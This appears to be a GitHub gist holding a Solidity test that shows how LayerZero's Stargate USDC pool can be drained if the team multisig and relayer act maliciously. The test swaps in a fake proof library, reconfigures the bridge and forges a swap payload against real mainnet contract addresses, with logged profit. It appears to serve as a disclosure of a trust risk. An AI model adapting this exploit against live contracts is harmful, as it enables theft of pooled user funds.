Last active
February 20, 2023 03:03
-
-
Save trayvox/2edae0556e43a00e68362f11293b7d1f to your computer and use it in GitHub Desktop.
Example showing how Layer Zero can rug if team is malicious
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: UNLICENSED | |
pragma solidity 0.8.10; | |
import {ERC20, SafeTransferLib} from "solmate/utils/SafeTransferLib.sol"; | |
import {DSTestPlus} from "solmate/test/utils/DSTestPlus.sol"; | |
struct Packet { | |
uint16 srcChainId; | |
uint16 dstChainId; | |
uint64 nonce; | |
address dstAddress; | |
bytes srcAddress; | |
bytes32 ulnAddress; | |
bytes payload; | |
} | |
interface IUltraLightNode { | |
function addInboundProofLibraryForChain(uint16 _chainId, address _library) | |
external; | |
function validateTransactionProof( | |
uint16 _srcChainId, | |
address _dstAddress, | |
uint256 _gasLimit, | |
bytes32 _lookupHash, | |
bytes calldata _transactionProof | |
) external; | |
struct BlockData { | |
uint256 confirmations; | |
bytes32 data; | |
} | |
function hashLookup( | |
address, | |
uint16, | |
bytes32 | |
) external view returns (BlockData memory); | |
function updateHash( | |
uint16 _srcChainId, | |
bytes32 _lookupHash, | |
uint256 _confirmations, | |
bytes32 _data | |
) external; | |
function ulnLookup(uint16) external view returns (bytes32); | |
} | |
interface IEndpoint { | |
function setConfig( | |
uint16 _version, | |
uint16 _chainId, | |
uint256 _configType, | |
bytes calldata _config | |
) external; | |
function inboundNonce(uint16, bytes memory) external view returns (uint64); | |
function receivePayload( | |
uint16 _srcChainId, | |
bytes calldata _srcAddress, | |
address _dstAddress, | |
uint64 _nonce, | |
uint256 _gasLimit, | |
bytes calldata _payload | |
) external; | |
} | |
interface IRouter { | |
function swapRemote( | |
uint16 _srcChainId, | |
bytes memory _srcAddress, | |
uint256 _nonce, | |
uint256 _srcPoolId, | |
uint256 _dstPoolId, | |
uint256 _dstGasForCall, | |
address _to, | |
IPool.SwapObj memory _s, | |
bytes memory _payload | |
) external; | |
} | |
interface IBridge { | |
function bridgeLookup(uint16) external view returns (bytes memory); | |
function lzReceive( | |
uint16 _srcChainId, | |
bytes memory _srcAddress, | |
uint64 _nonce, | |
bytes memory _payload | |
) external; | |
function setConfig( | |
uint16 _version, | |
uint16 _chainId, | |
uint256 _configType, | |
bytes calldata _config | |
) external; | |
} | |
interface IPool { | |
struct SwapObj { | |
uint256 amount; | |
uint256 eqFee; | |
uint256 eqReward; | |
uint256 lpFee; | |
uint256 protocolFee; | |
uint256 lkbRemove; | |
} | |
struct CreditObj { | |
uint256 credits; | |
uint256 idealBalance; | |
} | |
function swapRemote( | |
uint16 _srcChainId, | |
uint256 _srcPoolId, | |
address _to, | |
SwapObj memory _s | |
) external returns (uint256 amountLD); | |
function token() external view returns (address); | |
function chainPathIndexLookup(uint16, uint256) | |
external | |
view | |
returns (uint256); | |
} | |
contract MaliciousValidation { | |
Packet public packet; | |
function setPacket( | |
uint16 srcChainId, | |
uint16 dstChainId, | |
uint64 nonce, | |
address dstAddress, | |
bytes memory srcAddress, | |
bytes32 ulnAddress, | |
bytes memory payload | |
) public { | |
packet = Packet( | |
srcChainId, | |
dstChainId, | |
nonce, | |
dstAddress, | |
srcAddress, | |
ulnAddress, | |
payload | |
); | |
} | |
function validateProof( | |
bytes32 blockData, | |
bytes calldata _data, | |
uint256 _remoteAddressSize | |
) external returns (Packet memory) { | |
return packet; | |
} | |
} | |
contract L0 is DSTestPlus { | |
address internal constant ENDPOINT = | |
address(0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675); | |
address internal constant ROUTER = | |
address(0x8731d54E9D02c286767d56ac03e8037C07e01e98); | |
address internal constant BRIDGE = | |
address(0x296F55F8Fb28E498B858d0BcDA06D955B2Cb3f97); | |
address internal constant POOL = | |
address(0xdf0770dF86a8034b3EFEf0A1Bb3c889B8332FF56); | |
address internal constant ULTRA_LIGHT_NODE = | |
address(0x5B19bd330A84c049b62D5B0FC2bA120217a18C1C); | |
address internal constant ORACLE = | |
address(0x41c69c8ffb4049fc393ed68Ec0Ce66c37f8CF7a0); | |
address internal constant RELAYER = | |
address(0xcb566e3B6934Fa77258d68ea18E931fa75e1aaAa); | |
address internal constant VALIDATION_LIB = | |
address(0x2D61DCDD36F10b22176E0433B86F74567d529aAa); | |
address internal constant OWNER_ENDPOINT = | |
address(0x9F403140Bc0574D7d36eA472b82DAa1Bbd4eF327); | |
address internal constant OWNER_BRIDGE = | |
address(0x65bb797c2B9830d891D87288F029ed8dACc19705); | |
function run() public { | |
hevm.label(ENDPOINT, "ENDPOINT"); | |
hevm.label(BRIDGE, "BRIDGE"); | |
hevm.label(ULTRA_LIGHT_NODE, "ULTRA_LIGHT_NODE"); | |
// Assume that RELAYER is malicious contract (proxy contract), allow "pranks" as | |
// we can make it do whatever we want anyway | |
// validation library can either be malicious, or just updated to a malicious by multisig | |
emit log( | |
"Draining the pool assuming relayer deployer and team multisig is malicious" | |
); | |
ERC20 token = ERC20(IPool(POOL).token()); | |
uint256 drainAmount = token.balanceOf(POOL); | |
uint256 dstPoolId = 1; | |
uint16 srcChainId = 10; | |
MaliciousValidation validation = new MaliciousValidation(); | |
hevm.label(address(validation), "Validation"); | |
hevm.prank(OWNER_ENDPOINT); | |
IUltraLightNode(ULTRA_LIGHT_NODE).addInboundProofLibraryForChain( | |
srcChainId, | |
address(validation) | |
); | |
emit log_named_decimal_uint("USDC in pool", token.balanceOf(POOL), 6); | |
uint256 balanceBefore = token.balanceOf(address(this)); | |
emit log("Update bridge config to use bad library"); | |
hevm.prank(OWNER_BRIDGE); | |
IBridge(BRIDGE).setConfig(1, srcChainId, 1, abi.encode(uint16(3))); | |
bytes32 hash = bytes32( | |
0xed33a1424055b2ec718d16e5a540e0a2f5d868f37a50d5cb6d88d3f06420aa0d | |
); | |
{ | |
bytes memory srcAddress = IBridge(BRIDGE).bridgeLookup(srcChainId); | |
IPool.SwapObj memory swapData = IPool.SwapObj({ | |
amount: drainAmount, | |
eqFee: 0, | |
eqReward: 0, | |
lpFee: 0, | |
protocolFee: 0, | |
lkbRemove: 0 | |
}); | |
bytes memory payload = abi.encode( | |
uint8(1), // type | |
uint256(0), // src pool id, | |
dstPoolId, | |
uint256(0), | |
IPool.CreditObj(0, 0), | |
swapData, | |
abi.encodePacked(address(this)), // to | |
bytes("") | |
); | |
emit log("Relayer update the value returned by the 'validation'"); | |
validation.setPacket( | |
srcChainId, | |
0, | |
uint64( | |
IEndpoint(ENDPOINT).inboundNonce(srcChainId, srcAddress) | |
) + 1, | |
BRIDGE, // dstAddress | |
srcAddress, | |
IUltraLightNode(ULTRA_LIGHT_NODE).ulnLookup(srcChainId), | |
payload | |
); | |
} | |
emit log("Relayer drains the pool on eth"); | |
hevm.startPrank(RELAYER); | |
IUltraLightNode(ULTRA_LIGHT_NODE).validateTransactionProof( | |
srcChainId, //_srcChainId, | |
BRIDGE, //_dstAddress, | |
2e6, // _gasLimit, | |
hash, // _lookupHash | |
bytes("") // _transactionProof | |
); | |
emit log_named_decimal_uint("USDC in pool", token.balanceOf(POOL), 6); | |
emit log_named_decimal_uint( | |
"USDC Profit", | |
token.balanceOf(address(this)) - balanceBefore, | |
6 | |
); | |
assertEq( | |
token.balanceOf(address(this)) - balanceBefore, | |
drainAmount, | |
"No Profit" | |
); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment